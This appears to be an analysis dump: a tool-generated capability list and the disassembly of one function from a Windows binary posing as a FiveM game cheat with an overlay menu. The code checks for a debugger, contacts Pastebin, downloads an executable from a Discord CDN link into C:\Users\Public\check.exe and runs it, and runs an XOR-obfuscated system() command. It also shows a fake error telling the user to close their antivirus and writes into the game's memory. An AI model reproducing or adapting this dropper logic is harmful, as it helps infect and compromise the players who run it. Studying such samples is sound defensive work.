Function at 0x1400287d0
Capabilities:
Check for time delay via queryperformancecounter
Contain obfuscated stackstrings
Create process on windows
Create thread
Download url
Encode data using xor
Execute command
Hide graphical window
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x950
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
lea rbp, [rax - 0x8f8]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14003b040]
xor rax, rsp
mov qword [rbp + 0x860], rax
xor r12d, r12d
mov dword [0x14004e078], 0x3e8
call fcn.140028330
mov byte [0x14004e06e], 1
mov byte [0x14004e069], 1
mov byte [0x14004e06c], 1
mov byte [0x14004e06a], r12b
mov byte [0x14004e06d], r12b
mov byte [0x14004e06b], 1
lea ecx, [r12 + 8]
call fcn.14002d304
lea rcx, [0x140028110]
mov qword [rax], rcx
mov qword [rbp + 0x558], rax
lea rcx, [rbp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x14002c9f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14002a7a4
mov qword [rbp + 0x558], r12
cmp dword [rbp + 0x58], r12d
je 0x14002a798
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x260], xmm0
lea rcx, [rbp + 0x260]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14002a798
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2e0], xmm0
movdqa xmmword [rbp + 0x50], xmm0
lea ecx, [rax + 8]
call fcn.14002d304
lea rcx, [0x140028010]
mov qword [rax], rcx
mov qword [rbp + 0x550], rax
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x14002c9f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x40], rax
test rax, rax
je 0x14002a788
mov qword [rbp + 0x550], r12
cmp dword [rbp + 0x48], r12d
je 0x14002a77c
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x270], xmm0
lea rcx, [rbp + 0x270]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14002a77c
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2f0], xmm0
movdqa xmmword [rbp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14002a7b4
call fcn.140026320
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rbx, rax
test rax, rax
je 0x140028aa3
xorps xmm0, xmm0
movups xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], 0xf
mov byte [rbp + 0x510], r12b
lea r8, str.https:__pastebin.com_raw_Kq5WAy8W
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140028600]
mov edx, 0x4e2b
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [rbp + 0x510]
mov edx, 0x2711
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_perform]
test eax, eax
jne 0x140028a3d
mov dword [rbp + 0x4e0], r12d
lea r8, [rbp + 0x4e0]
mov edx, 0x200002
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_getinfo]
cmp dword [rbp + 0x4e0], 0xc8
jne 0x140028a3d
mov byte [0x14004e06f], 1
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov rdx, qword [rbp + 0x528]
cmp rdx, 0xf
jbe 0x140028a8a
inc rdx
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028a85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028a85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cea4
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], 0xf
mov byte [rbp + 0x510], 0
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x5b0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov dword [rbp + 0x490], 0x50
mov dword [rbp + 0x494], 0x40
lea rax, [0x140025e00]
mov qword [rbp + 0x498], rax
mov qword [rbp + 0x4a0], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x4a8], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4c0], xmm1
lea rsi, str.ownned
mov qword [rbp + 0x4d0], rsi
mov qword [rbp + 0x4d8], r12
lea rcx, [rbp + 0x490]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], r12
mov rax, qword [rbp + 0x4a8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x80000000
mov r8, rsi
mov rdx, rsi
mov ecx, 0x80008
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x14004e128], rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rbx, qword [0x14004e128]
mov ecx, 0x20
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov rcx, rax
mov qword [0x14004e130], rax
test rax, rax
je 0x14002a729
mov qword [0x14004e140], r12
mov qword [0x14004e14c], r12
mov dword [0x14004e154], r12d
mov qword [0x14004e15c], r12
mov dword [0x14004e164], r12d
mov qword [0x14004e174], r12
mov dword [0x14004e168], 1
mov dword [0x14004e158], 1
mov dword [0x14004e148], r12d
mov dword [0x14004e16c], 1
mov dword [0x14004e170], 0x50
mov dword [0x14004e17c], 0x80000000
mov rax, qword [rax]
lea rdx, [0x14004e138]
mov qword [rsp + 0x30], rdx
lea rdx, [0x14004e140]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x40
mov r9, rbx
xor edx, edx
lea r8d, [rdx + 1]
call qword [rax + 0x80]
test eax, eax
js 0x14002a722
mov edx, 0xa
mov rcx, qword [0x14004e128]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14004e128]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [r9 - 1]
mov rcx, qword [0x14004e128]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rax, qword [0x14004e070]
test rax, rax
je 0x140028cbb
inc dword [rax + 0x3bc]
mov ecx, 0x3e00
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0x500], rax
lea rcx, [rbp + 0x30]
mov qword [rbp], rcx
mov qword [rbp + 0x38], rax
test rax, rax
je 0x140028ce8
mov rcx, rax
call fcn.140001540
jmp 0x140028ceb
mov rax, r12
cmp qword [0x14004e070], 0
jne 0x140028cfc
mov qword [0x14004e070], rax
mov rcx, rax
call fcn.140006130
xor ecx, ecx
call fcn.140019870
mov rbx, qword [0x14004e128]
lea rcx, [0x14004e118]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x140028e0e
lea rcx, [0x14004e110]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x140028e0e
mov qword [0x14004e108], rbx
mov rax, qword [0x14004e070]
or dword [rax + 0xc], 6
lea rcx, str.imgui_impl_win32
mov qword [rax + 0xd8], rcx
mov qword [rax + 0x120], rbx
mov dword [rax + 0x3c], 9
mov dword [rax + 0x40], 0x25
mov dword [rax + 0x44], 0x27
mov dword [rax + 0x48], 0x26
mov dword [rax + 0x4c], 0x28
mov dword [rax + 0x50], 0x21
mov dword [rax + 0x54], 0x22
mov dword [rax + 0x58], 0x24
mov dword [rax + 0x5c], 0x23
mov dword [rax + 0x60], 0x2d
mov dword [rax + 0x64], 0x2e
mov dword [rax + 0x68], 8
mov dword [rax + 0x6c], 0x20
mov dword [rax + 0x70], 0xd
mov dword [rax + 0x74], 0x1b
mov dword [rax + 0x78], 0xd
mov dword [rax + 0x7c], 0x41
mov dword [rax + 0x80], 0x43
mov dword [rax + 0x84], 0x56
mov dword [rax + 0x88], 0x58
mov dword [rax + 0x8c], 0x59
mov dword [rax + 0x90], 0x5a
jmp 0x140028e15
mov rax, qword [0x14004e070]
mov rcx, qword [0x14004e138]
lea rdx, str.imgui_impl_dx9
mov qword [rax + 0xe0], rdx
or dword [rax + 0xc], 8
mov qword [0x14004e0f8], rcx
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [0x14004e070]
movaps xmm0, xmmword [0x140034350]
movups xmmword [rbx + 0x161c], xmm0
movaps xmm1, xmmword [0x140034330]
movups xmmword [rbx + 0x162c], xmm1
movaps xmm0, xmmword [0x140034300]
movups xmmword [rbx + 0x16bc], xmm0
movaps xmm1, xmm0
movups xmmword [rbx + 0x163c], xmm0
movaps xmm0, xmmword [0x1400342b0]
movups xmmword [rbx + 0x164c], xmm0
movaps xmm1, xmmword [0x140034310]
movups xmmword [rbx + 0x165c], xmm1
movaps xmm0, xmmword [0x1400342f0]
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbx + 0x166c], xmm0
movaps xmm1, xmm0
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbx + 0x167c], xmm0
movaps xmm0, xmmword [0x140034300]
movups xmmword [rbx + 0x168c], xmm0
movaps xmm1, xmmword [0x140034310]
movups xmmword [rbx + 0x169c], xmm1
movaps xmm0, xmmword [0x140034320]
movups xmmword [rbx + 0x16ac], xmm0
movaps xmm1, xmmword [0x140034360]
movups xmmword [rbp + 0x2b0], xmm1
movups xmmword [rbx + 0x173c], xmm1
movaps xmm0, xmm1
movups xmmword [rbp + 0x340], xmm1
movups xmmword [rbx + 0x174c], xmm1
movaps xmm0, xmmword [0x140034340]
movups xmmword [rbx + 0x175c], xmm0
movaps xmm1, xmmword [0x1400342f0]
movups xmmword [rbx + 0x176c], xmm1
movaps xmm0, xmmword [0x140034310]
movups xmmword [rbx + 0x177c], xmm0
movaps xmm1, xmmword [0x140034320]
movups xmmword [rbx + 0x178c], xmm1
movaps xmm0, xmmword [0x1400342b0]
movups xmmword [rbx + 0x179c], xmm0
movaps xmm1, xmm0
movups xmmword [rbx + 0x17ac], xmm0
movaps xmm0, xmmword [0x140034320]
movups xmmword [rbx + 0x17bc], xmm0
movaps xmm1, xmmword [0x140034360]
movups xmmword [rbp + 0x330], xmm1
movups xmmword [rbx + 0x17cc], xmm1
movaps xmm0, xmm1
movups xmmword [rbp + 0x320], xmm1
movups xmmword [rbx + 0x17dc], xmm1
movups xmmword [rbp + 0x310], xmm1
movups xmmword [rbx + 0x17ec], xmm1
movaps xmm0, xmmword [0x140034300]
movups xmmword [rbx + 0x182c], xmm0
movaps xmm1, xmmword [0x1400342f0]
movups xmmword [rbx + 0x183c], xmm1
movaps xmm0, xmm1
movups xmmword [rbp + 0x300], xmm1
movups xmmword [rbx + 0x184c], xmm1
movaps xmm0, xmmword [0x140034300]
movups xmmword [rbx + 0x185c], xmm0
movaps xmm1, xmm0
movups xmmword [rbx + 0x186c], xmm0
mov dword [rbx + 0x1578], 0x40400000
mov dword [rbx + 0x1594], 0x40000000
mov dword [rbx + 0x15ac], 0x3f800000
mov dword [rbx + 0x15e4], 0x40000000
mov dword [rbx + 0x1574], 0x40400000
mov dword [rbx + 0x15a8], 0x40400000
mov dword [rbx + 0x15e0], 0x40400000
mov dword [rbx + 0x15dc], 0x40400000
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x140034180]
mov r8d, 0x12
lea rdx, [0x14003b0c0]
mov rcx, qword [rbx + 0xa8]
call fcn.14001d8a0
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x140034184]
mov r8d, 0x16
lea rdx, [0x14003b0c0]
mov rcx, qword [rbx + 0xa8]
call fcn.14001d8a0
mov qword [0x14004e120], rax
mov r8d, 0xb6
lea rdx, str.https:__cdn.discordapp.com_attachments_1188611078020673606_1206968945895153704_check.exe_ex65f0656dis65ddf06dhm823d29dde8f6da3a0999474124f3d2e72a4c4a5994866c2076a624804bbc041f
lea rcx, [rbp + 0x3b0]
call fcn.14002a7d0
cmp byte [rbp + 0x466], 0
jne 0x1400290df
lea rcx, [rbp + 0x3b0]
nop word [rax + rax]
movzx eax, byte [rbp + 0x467]
xor byte [rcx], al
inc rcx
lea rax, [rbp + 0x466]
cmp rcx, rax
jne 0x1400290c0
mov byte [rbp + 0x466], 1
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x560]
call fcn.14002bc80
nop
mov dword [rbp + 0x28], 0x1a001a7f
mov cl, 0x1a
mov dword [rbp + 0x24], 0x627f3471
mov dword [rbp + 0x20], 0x797f7279
mov dword [rbp + 0x1c], 0x46797376
mov dword [rbp + 0x18], 0x786f4a46
mov dword [rbp + 0x14], 0x69687f69
mov dword [rbp + 0x10], 0x4f462059
lea rax, [rbp + 0x10]
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp + 0x2a]
cmp rax, rcx
je 0x140029144
movzx ecx, byte [rbp + 0x2b]
jmp 0x140029130
mov byte [rbp + 0x2a], 1
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x530]
call fcn.14002bc80
nop
lea r8, [rbp + 0x530]
cmp qword [rbp + 0x548], 0xf
cmova r8, qword [rbp + 0x530]
lea rdx, [rbp + 0x560]
cmp qword [rbp + 0x578], 0xf
cmova rdx, qword [rbp + 0x560]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:UsersPubliccheck.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x1400291e7
mov r9d, 0x40
lea r8, str.Error
lea rdx, str.Error_:Check_the_antivirus._If_its_still_not_closed__try_closing_it.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movabs rax, 0x6026650f0848af22
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0x40124af48a7245e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x6f26c3aee37ab966
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0xb18efdddb3a637ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rsi, 0x5a65457b7a29db51
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
movabs r13, 0x103d3986ef0110c6
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movabs r14, 0x745eccd8a16db13
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
movabs rax, 0xb1eb85b89dcd5488
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x780]
vmovdqa ymmword [rbp + 0x180], ymm1
lea rcx, [rbp + 0x180]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
movups xmmword [rbp + 0x590], xmm0
movups xmmword [rbp + 0x5a0], xmm0
mov byte [rbp + 0x290], 0
xor eax, eax
movups xmmword [rbp + 0x291], xmm0
mov qword [rbp + 0x2a1], rax
movabs r15, 0x68071a361f5fb217
movss xmm8, dword [0x1400341d0]
movss xmm9, dword [0x1400341c4]
movss xmm10, dword [0x140034138]
movss xmm11, dword [0x140034104]
movss xmm7, dword [0x14003413c]
nop dword [rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x580]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140029380
lea rcx, [rbp + 0x580]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x580]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14002a4dc
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400293b3
cmp byte [0x14004d650], 0
sete al
mov byte [0x14004d650], al
neg al
sbb edx, edx
and edx, 0xa
mov rcx, qword [0x14004e128]
call qword [sym.imp.USER32.dll_ShowWindow]
cmp qword [0x14004e0e8], 0
jne 0x1400293c2
call fcn.140022480
mov rdi, qword [0x14004e070]
lea rdx, [rbp + 0x478]
mov rcx, qword [0x14004e108]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x484]
sub eax, dword [rbp + 0x47c]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov eax, dword [rbp + 0x480]
sub eax, dword [rbp + 0x478]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rdi + 0x10], xmm0
movss dword [rdi + 0x14], xmm1
lea rcx, [rbp + 0x500]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0x500]
mov rax, rcx
sub rax, qword [0x14004e110]
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x14004e118]
divss xmm1, xmm0
movss dword [rdi + 0x18], xmm1
mov qword [0x14004e110], rcx
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rdi + 0x148], al
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rdi + 0x149], al
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rdi + 0x14a], al
mov byte [rdi + 0x14b], 0
mov rcx, qword [0x14004e070]
lea rbx, [rcx + 0x130]
cmp byte [rcx + 0x3a3], 0
je 0x1400294ed
cvttss2si eax, dword [rbx]
mov dword [rbp + 0x4e8], eax
cvttss2si eax, dword [rcx + 0x134]
mov dword [rbp + 0x4ec], eax
lea rdx, [rbp + 0x4e8]
mov rcx, qword [0x14004e108]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rbp + 0x4ec]
mov ecx, dword [rbp + 0x4e8]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov dword [rbx], 0xff7fffff
mov dword [rbx + 4], 0xff7fffff
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x140029566
mov rdx, qword [0x14004e108]
cmp rax, rdx
je 0x14002951e
mov rcx, rax
call qword [sym.imp.USER32.dll_IsChild]
test eax, eax
je 0x140029566
lea rcx, [rbp + 0x470]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x140029566
lea rdx, [rbp + 0x470]
mov rcx, qword [0x14004e108]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x140029566
movd xmm1, dword [rbp + 0x474]
cvtdq2ps xmm1, xmm1
movd xmm0, dword [rbp + 0x470]
cvtdq2ps xmm0, xmm0
movss dword [rbx], xmm0
movss dword [rbx + 4], xmm1
cmp byte [rdi + 0xc8], 0
je 0x140029576
mov eax, 0xffffffff
jmp 0x140029583
mov rax, qword [0x14004e070]
mov eax, dword [rax + 0x1f18]
cmp dword [0x14004d7a0], eax
je 0x140029596
mov dword [0x14004d7a0], eax
call fcn.1400225f0
call fcn.140022770
call fcn.140005570
cmp byte [0x14004d650], 0
je 0x14002a425
mov rax, qword [0x14004e070]
or dword [rax + 0x1b20], 2
mov dword [rax + 0x1b40], 0x43c80000
mov dword [rax + 0x1b44], 0x435c0000
mov dword [rax + 0x1b28], 1
xor edx, edx
lea r8d, [rdx + 0x2b]
lea rdi, str.blue
mov rcx, rdi
call fcn.140009bf0
mov rbx, qword [0x14004e070]
mov rax, qword [rbx + 0x1a80]
movss xmm6, dword [rax + 0x18]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rdi
movss dword [rsp + 0x20], xmm8
movaps xmm3, xmm9
movss xmm2, dword [rbx + 0x1928]
lea rdx, [rbp + 0x38]
mov rcx, qword [rbx + 0x1920]
call fcn.140020220
movss xmm0, dword [rbp + 0x38]
addss xmm0, xmm10
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x38], xmm1
mov rax, qword [rbx + 0x1a80]
mov byte [rax + 0x80], 1
mov rax, qword [rbx + 0x1a80]
movss xmm2, dword [rax + 0x10]
subss xmm2, dword [rax + 0x54]
subss xmm6, xmm1
mulss xmm6, xmm11
addss xmm2, xmm6
movss dword [rax + 0xd0], xmm2
movss xmm0, dword [rax + 0xe8]
maxss xmm0, xmm2
movss dword [rax + 0xe8], xmm0
call fcn.14000c350
movabs rax, 0x7a1c29101940ae00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x10584ceaad2f6984
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.1400235a0
mov rbx, qword [0x14004e070]
mov rax, qword [rbx + 0x1a80]
mov rcx, qword [rax + 0x2b0]
dec dword [rcx + 0x70]
call fcn.14001a580
sub dword [rbx + 0x1bc8], 1
jne 0x140029742
mov rax, qword [0x14004e070]
mov rcx, qword [rax + 0xb8]
test rcx, rcx
jne 0x140029755
mov rax, qword [rax + 0xa8]
mov rcx, qword [rax + 0x48]
mov rcx, qword [rcx]
jmp 0x140029755
movsxd rcx, dword [rbx + 0x1bc8]
mov rax, qword [rbx + 0x1bd0]
mov rcx, qword [rax + rcx*8 - 8]
call fcn.14000c2c0
mov dword [rbp + 0x5c0], 0x130
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x5c4]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x407c6dc1b03829f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rbx, 0x626b9fbeef75b461
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xb1eb85b89dcd31f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rdi, 0xb1eb85b89dcd5488
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x1e0], ymm1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x350]
vzeroupper
call fcn.14002bc80
lea rdx, [rbp + 0x5c0]
mov rcx, rax
call fcn.140028680
test al, al
je 0x140029b81
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x407c6dc1b03829f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0xb1eb85b89dcd31f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
vmovdqu ymm0, ymmword [rbp + 0x7c0]
vpxor ymm0, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x200], ymm0
lea rcx, [rbp + 0x200]
vzeroupper
call fcn.14002ca30
mov ebx, eax
movabs rax, 0x7a16361e1946a901
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x104855a3cf3b748f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x740], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x748], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x740]
movdqa xmmword [rbp + 0x70], xmm0
mov edx, ebx
lea rcx, [rbp + 0x70]
call fcn.1400235a0
lea rdx, str.FiveM_b2699_GTAProcess.exe
mov ecx, ebx
call fcn.14002caf0
lea r15, [rax + 0x2140688]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
movabs rax, 0x5a1c29101940ae00
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x80], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x88], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x730], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x730]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x80]
call fcn.140024940
xorps xmm0, xmm0
mov rdx, qword [0x14004e0a0]
sub rdx, qword [0x14004e098]
sar rdx, 2
cmp byte [rbp + 8], 0
je 0x140029abd
mov dword [rbp + 0x4fc], r12d
movdqu xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], r12
test rdx, rdx
je 0x140029a9f
lea rcx, [rbp + 0xf8]
call fcn.140028570
mov rsi, qword [rbp + 0xf8]
mov rbx, qword [0x14004e098]
mov rdi, qword [0x14004e0a0]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0x100], rax
movabs rsi, 0x5a65457b7a29db51
movabs rdi, 0xb1eb85b89dcd5488
lea r8, [rbp + 0xf8]
mov rdx, r15
mov rcx, r14
call fcn.14002cbb0
lea r8, [rbp + 0x4fc]
jmp 0x140029b4c
mov dword [rbp + 0x4f8], 0xe
movdqu xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
test rdx, rdx
je 0x140029b33
lea rcx, [rbp + 0x158]
call fcn.140028570
mov rsi, qword [rbp + 0x158]
mov rbx, qword [0x14004e098]
mov rdi, qword [0x14004e0a0]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0x160], rax
movabs rsi, 0x5a65457b7a29db51
movabs rdi, 0xb1eb85b89dcd5488
lea r8, [rbp + 0x158]
mov rdx, r15
mov rcx, r14
call fcn.14002cbb0
lea r8, [rbp + 0x4f8]
mov qword [rsp + 0x20], r12
mov r9d, 4
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs r15, 0x68071a361f5fb217
movabs r14, 0x745eccd8a16db13
movabs rbx, 0x626b9fbeef75b461
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x407c6dc1b03524ff
mov qword [rbp], rax
